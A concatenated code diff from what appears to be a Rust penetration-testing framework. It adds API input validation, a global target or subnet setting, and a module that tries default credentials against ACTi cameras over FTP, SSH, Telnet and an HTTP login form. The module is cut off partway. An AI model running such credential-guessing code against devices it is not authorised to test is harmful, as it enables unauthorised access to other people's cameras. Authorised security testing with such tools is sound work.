||||
return Ok(false);
|
||||
}
|
||||
|
||||
let mut tracker_guard = self.ip_tracker.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many tracked IPs (memory protection)
|
||||
if tracker_guard.len() >= MAX_TRACKED_IPS {
|
||||
// Remove oldest entries (keep most recent half)
|
||||
let mut entries: Vec<_> = tracker_guard.drain().collect();
|
||||
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
|
||||
entries.truncate(MAX_TRACKED_IPS / 2);
|
||||
for (k, v) in entries {
|
||||
tracker_guard.insert(k, v);
|
||||
}
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned IP tracker from {} to {} entries",
|
||||
MAX_TRACKED_IPS,
|
||||
tracker_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
if let Some(tracker) = tracker_guard.get_mut(ip) {
|
||||
// Update existing tracker - use all fields
|
||||
tracker.last_seen = now;
|
||||
tracker.request_count += 1;
|
||||
tracker.request_count = tracker.request_count.saturating_add(1);
|
||||
|
||||
// Log detailed tracking info using first_seen
|
||||
let duration = now.signed_duration_since(tracker.first_seen);
|
||||
@@ -279,8 +312,27 @@ impl ApiState {
|
||||
}
|
||||
|
||||
pub async fn record_auth_failure(&self, ip: &str) -> Result<()> {
|
||||
// Validate IP string length
|
||||
if ip.len() > 128 {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut failures_guard = self.auth_failures.write().await;
|
||||
let now = Utc::now();
|
||||
|
||||
// Cleanup old entries if we have too many (memory protection)
|
||||
if failures_guard.len() >= MAX_AUTH_FAILURE_ENTRIES {
|
||||
// Remove expired blocks and oldest entries
|
||||
let cutoff = now - chrono::Duration::hours(1);
|
||||
failures_guard.retain(|_, v| {
|
||||
v.blocked_until.map(|b| b > now).unwrap_or(false) ||
|
||||
v.first_failure > cutoff
|
||||
});
|
||||
let _ = self.log_message(&format!(
|
||||
"[CLEANUP] Pruned auth failure tracker to {} entries",
|
||||
failures_guard.len()
|
||||
)).await;
|
||||
}
|
||||
|
||||
let tracker = failures_guard.entry(ip.to_string()).or_insert_with(|| {
|
||||
AuthFailureTracker {
|
||||
@@ -296,7 +348,7 @@ impl ApiState {
|
||||
tracker.first_failure = now;
|
||||
}
|
||||
|
||||
tracker.failed_attempts += 1;
|
||||
tracker.failed_attempts = tracker.failed_attempts.saturating_add(1);
|
||||
|
||||
// Block after 3 failed attempts for 30 seconds
|
||||
if tracker.failed_attempts >= 3 {
|
||||
@@ -350,11 +402,12 @@ impl ApiState {
|
||||
|
||||
async fn auth_middleware(
|
||||
State(state): State<ApiState>,
|
||||
ConnectInfo(addr): ConnectInfo<SocketAddr>,
|
||||
headers: HeaderMap,
|
||||
request: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
// Extract IP address first - try to get from headers first (for proxied requests)
|
||||
// Extract IP address - try to get from headers first (for proxied requests)
|
||||
let client_ip = headers
|
||||
.get("x-forwarded-for")
|
||||
.or_else(|| headers.get("x-real-ip"))
|
||||
@@ -366,16 +419,8 @@ async fn auth_middleware(
|
||||
.trim()
|
||||
.to_string()
|
||||
})
|
||||
.filter(|s| !s.is_empty());
|
||||
|
||||
// Fall back to direct connection IP from request extensions
|
||||
let client_ip = if let Some(ip) = client_ip {
|
||||
ip
|
||||
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
|
||||
addr.ip().to_string()
|
||||
} else {
|
||||
"unknown".to_string()
|
||||
};
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or_else(|| addr.ip().to_string());
|
||||
|
||||
// Check rate limit before processing authentication
|
||||
if client_ip != "unknown" {
|
||||
@@ -702,7 +747,11 @@ pub async fn start_api_server(
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
.layer(RequestBodyLimitLayer::new(MAX_REQUEST_BODY_SIZE))
|
||||
.layer(TraceLayer::new_for_http())
|
||||
)
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
@@ -720,5 +769,4 @@ pub async fn start_api_server(
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
}
|
||||
@@ -39,4 +39,8 @@ pub struct Cli {
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
+40
-2
@@ -4,12 +4,30 @@ pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
// Use CLI target if provided, otherwise try global target
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
// Use single IP from global target (handles subnets intelligently)
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
/// If raw_target is empty, uses global target if available
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
// Use provided target, or fall back to global target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
+264
@@ -0,0 +1,264 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Check for spaces
|
||||
if target.contains(' ') {
|
||||
return Err(anyhow!("Target cannot contain spaces"));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
if target.ends_with('.') && !target.ends_with("..") {
|
||||
// Allow trailing dot for FQDN, but not double dots
|
||||
}
|
||||
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
+107
-9
@@ -1,5 +1,6 @@
|
||||
use anyhow::{Context, Result};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use clap::Parser;
|
||||
use std::net::SocketAddr;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
@@ -7,6 +8,90 @@ mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
/// Maximum length for API key to prevent memory exhaustion
|
||||
const MAX_API_KEY_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum length for interface/bind address
|
||||
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
|
||||
|
||||
/// Maximum IP limit for hardening mode
|
||||
const MAX_IP_LIMIT: u32 = 10000;
|
||||
|
||||
/// Validates the bind address format for security
|
||||
fn validate_bind_address(addr: &str) -> Result<String> {
|
||||
let trimmed = addr.trim();
|
||||
|
||||
// Length check
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Bind address cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Bind address too long (max {} characters)",
|
||||
MAX_BIND_ADDRESS_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Bind address cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Add port if missing
|
||||
let with_port = if trimmed.contains(':') {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("{}:8080", trimmed)
|
||||
};
|
||||
|
||||
// Validate socket address format
|
||||
with_port.parse::<SocketAddr>()
|
||||
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
|
||||
|
||||
Ok(with_port)
|
||||
}
|
||||
|
||||
/// Validates API key format for security
|
||||
fn validate_api_key(key: &str) -> Result<String> {
|
||||
let trimmed = key.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("API key cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_API_KEY_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"API key too long (max {} characters)",
|
||||
MAX_API_KEY_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Only allow printable ASCII characters
|
||||
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
|
||||
return Err(anyhow!("API key must contain only printable ASCII characters"));
|
||||
}
|
||||
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Validates IP limit for hardening mode
|
||||
fn validate_ip_limit(limit: u32) -> Result<u32> {
|
||||
if limit == 0 {
|
||||
return Err(anyhow!("IP limit must be greater than 0"));
|
||||
}
|
||||
|
||||
if limit > MAX_IP_LIMIT {
|
||||
return Err(anyhow!(
|
||||
"IP limit too high (max {})",
|
||||
MAX_IP_LIMIT
|
||||
));
|
||||
}
|
||||
|
||||
Ok(limit)
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
@@ -15,25 +100,38 @@ async fn main() -> Result<()> {
|
||||
|
||||
// Check if API mode is requested
|
||||
if cli_args.api {
|
||||
let api_key = cli_args
|
||||
let api_key_raw = cli_args
|
||||
.api_key
|
||||
.context("--api-key is required when using --api mode")?;
|
||||
|
||||
// Validate API key
|
||||
let api_key = validate_api_key(&api_key_raw)
|
||||
.context("Invalid API key")?;
|
||||
|
||||
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
|
||||
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
|
||||
let bind_address = if interface.contains(':') {
|
||||
interface
|
||||
} else {
|
||||
format!("{}:8080", interface)
|
||||
};
|
||||
|
||||
// Validate and normalize bind address
|
||||
let bind_address = validate_bind_address(&interface)
|
||||
.context("Invalid bind address")?;
|
||||
|
||||
let harden = cli_args.harden;
|
||||
let ip_limit = cli_args.ip_limit.unwrap_or(10);
|
||||
|
||||
// Validate IP limit
|
||||
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
|
||||
let ip_limit = validate_ip_limit(ip_limit_raw)
|
||||
.context("Invalid IP limit")?;
|
||||
|
||||
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
// Target validation is done in config::set_target
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
|
||||
@@ -1,15 +1,24 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
|
||||
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
@@ -17,6 +26,17 @@ pub enum ServiceType {
|
||||
Http,
|
||||
}
|
||||
|
||||
impl ServiceType {
|
||||
fn as_str(&self) -> &'static str {
|
||||
match self {
|
||||
ServiceType::Ftp => "FTP",
|
||||
ServiceType::Ssh => "SSH",
|
||||
ServiceType::Telnet => "Telnet",
|
||||
ServiceType::Http => "HTTP",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
@@ -38,22 +58,27 @@ fn normalize_target(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
println!("[+] FTP credentials valid: {}:{}", username, password);
|
||||
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
|
||||
// Respect stop_on_success: if true, stop after first valid credential
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
return Ok(result);
|
||||
}
|
||||
// If false, continue checking but still return first found (for consistency)
|
||||
return Ok(result);
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
@@ -61,17 +86,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -81,25 +106,23 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
session.handshake().context("SSH handshake failed")?;
|
||||
|
||||
if session.userauth_password(username, password).is_ok() && session.authenticated() {
|
||||
println!("[+] SSH credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
@@ -120,33 +143,31 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
|
||||
let response = String::from_utf8_lossy(&buffer);
|
||||
if !response.contains("incorrect") && !response.contains("failed") {
|
||||
println!("[+] Telnet credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
|
||||
Ok(())
|
||||
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// HTTP Web Login check (async)
|
||||
pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
|
||||
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
|
||||
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
println!("[*] Trying HTTP: {}:{}", username, password);
|
||||
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
|
||||
}
|
||||
|
||||
let data = [
|
||||
@@ -166,19 +187,21 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if !body.contains(">Password<") {
|
||||
println!("[+] HTTP credentials valid: {}:{}", username, password);
|
||||
if config.stop_on_success {
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
|
||||
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
|
||||
}
|
||||
}
|
||||
|
||||
